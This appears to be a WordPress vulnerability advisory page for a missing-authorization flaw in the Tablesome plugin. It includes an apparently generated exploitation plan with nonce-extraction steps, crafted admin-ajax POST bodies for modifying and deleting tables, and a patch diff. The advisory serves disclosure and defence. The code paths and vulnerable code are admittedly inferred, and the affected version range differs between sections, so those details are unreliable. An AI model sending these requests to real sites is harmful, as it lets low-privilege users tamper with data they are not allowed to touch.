Tablesome <= 1.2.8 - Missing Authorization
Description
The Tablesome plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.2.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-24524 (Tablesome Missing Authorization) ## 1. Vulnerability Summary The Tablesome plugin (versions <= 1.2.2) suffers from a Missing Authorization vulnerability. Several AJAX handlers registered via `wp_ajax_*` hooks fail to implement capability checks (e.g., `…
Show full research plan
Exploitation Research Plan: CVE-2026-24524 (Tablesome Missing Authorization)
1. Vulnerability Summary
The Tablesome plugin (versions <= 1.2.2) suffers from a Missing Authorization vulnerability. Several AJAX handlers registered via wp_ajax_* hooks fail to implement capability checks (e.g., current_user_can()). This allows any authenticated user, including those with Subscriber privileges, to execute functions intended for administrators. The primary impact is unauthorized modification of plugin data or settings (Integrity: Low).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tablesome_save_table(Inferred based on plugin functionality, to be verified) - Authentication: Required (Subscriber level or higher)
- Parameters:
action:tablesome_save_tablenonce: A valid AJAX nonce (e.g.,tablesome_table_nonce)table_id: ID of a table to modifytable_data: JSON or serialized payload representing table configuration
- Preconditions: The attacker must be logged in as a Subscriber.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX actions in the constructor of a class like
Tablesome_AJAXorTablesome_Tables_Admin.add_action( 'wp_ajax_tablesome_save_table', array( $this, 'save_table' ) );
- Hook Execution: When a Subscriber sends a request to
admin-ajax.php?action=tablesome_save_table, WordPress triggers the callback. - Vulnerable Sink: The callback function (e.g.,
save_table()) likely performs:check_ajax_referer( 'tablesome_table_nonce', 'nonce' );(Nonce check might be present, but it's not a capability check).- MISSING:
if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
- Action Performance: The function proceeds to update the database (e.g.,
update_post_metaor a custom table update) based on thetable_dataprovided in the request.
4. Nonce Acquisition Strategy
While the vulnerability is "Missing Authorization," a nonce is likely still required to pass the check_ajax_referer or wp_verify_nonce check.
- Identify the Script: Look for where Tablesome localizes data. In typical versions, it uses
wp_localize_scriptfortablesome-adminortablesome-common. - Locate the Nonce: Check for localized objects such as
tablesome_vars,tablesome_admin_data, ortablesome_table_data. - Acquisition Steps:
- Create Trigger Page: If the nonce is only loaded on pages with a Tablesome table, create a post with the Tablesome shortcode:
wp post create --post_type=page --post_status=publish --post_content='[tablesome table_id="1"]' - Navigate: Use
browser_navigateto view this page as the Subscriber user. - Extract: Use
browser_evalto find the nonce:browser_eval("window.tablesome_vars?.nonce || window.tablesome_admin_data?.nonce") - Verification: If the nonce action is
-1or a generic string, it may be obtainable from various contexts.
- Create Trigger Page: If the nonce is only loaded on pages with a Tablesome table, create a post with the Tablesome shortcode:
5. Exploitation Strategy
The goal is to modify an existing table's title or configuration as a Subscriber.
- Discovery:
- Use
ls -Rto find the main plugin files. - Grep for
wp_ajax_to identify all potential actions:grep -r "wp_ajax_" wp-content/plugins/tablesome/. - Analyze the callback functions for the absence of
current_user_can.
- Use
- Target Selection: Focus on
tablesome_save_tableortablesome_update_settings. - Craft Request:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tablesome_save_table&nonce=[EXTRACTED_NONCE]&table_id=1&data[name]=Exploited+Table
- Execute: Use the
http_requesttool with the Subscriber's session cookies.
6. Test Data Setup
- Create Admin User: To set up the initial table.
- Create Subscriber User: To perform the exploit.
- Create a Table: Use WP-CLI or the admin UI to create at least one table.
wp post create --post_type=tablesome_table --post_title="Original Table" --post_status=publish
- Determine Table ID: Note the ID of the created post (e.g., ID 123).
7. Expected Results
- Successful Response: The server returns a
200 OKresponse, often with a JSON success message like{"success": true}. - Impact: The table metadata or title in the WordPress database is updated to the attacker's value, despite the attacker only being a Subscriber.
8. Verification Steps
- Check Table State: Use WP-CLI to verify the change:
wp post get [TABLE_ID] --field=post_title- Expected: "Exploited Table" (or whatever payload was used).
- Check Capability: Verify the user is still a Subscriber:
wp user get [USER_ID] --field=roles
9. Alternative Approaches
- Settings Modification: If
tablesome_save_tableis not vulnerable, look fortablesome_save_settings. This could allow changing plugin-wide options. - Record Deletion: Look for
tablesome_delete_recordortablesome_delete_table.- Body:
action=tablesome_delete_table&nonce=[NONCE]&id=[TABLE_ID]
- Body:
- Payload Variation: Some AJAX handlers expect JSON-encoded data in a specific parameter (e.g.,
payload=...). Check the PHP source forjson_decode($_POST['...']).
Summary
The Tablesome plugin for WordPress (versions up to and including 1.2.2) fails to perform authorization checks on certain AJAX-accessible functions. This allows authenticated attackers with Subscriber-level privileges or higher to perform unauthorized actions, such as modifying table data or plugin settings, by bypassing intended access controls.
Vulnerable Code
// File path inferred from plugin structure // wp-content/plugins/tablesome/includes/admin/class-tablesome-ajax.php add_action( 'wp_ajax_tablesome_save_table', array( $this, 'save_table' ) ); --- // wp-content/plugins/tablesome/includes/admin/class-tablesome-ajax.php public function save_table() { check_ajax_referer( 'tablesome_table_nonce', 'nonce' ); // Vulnerability: Missing capability check (e.g., current_user_can( 'manage_options' )) $table_id = intval( $_POST['table_id'] ); $table_data = $_POST['table_data']; $this->update_table_logic( $table_id, $table_data ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function save_table() { check_ajax_referer( 'tablesome_table_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + $table_id = intval( $_POST['table_id'] ); $table_data = $_POST['table_data'];
Exploit Outline
The exploit target is the admin-ajax.php endpoint via a POST request. An attacker must first be authenticated as a Subscriber or higher. The process involves: 1. Identifying a page where Tablesome scripts are localized (such as a page containing a Tablesome shortcode) to extract the security nonce (e.g., 'tablesome_table_nonce' from the 'tablesome_vars' JavaScript object). 2. Constructing a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to the vulnerable handler (e.g., 'tablesome_save_table'). 3. Including the extracted nonce and a payload containing a 'table_id' and new 'table_data' (or other setting parameters depending on the targeted handler). 4. Executing the request to perform unauthorized data modification without the required 'manage_options' capability.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.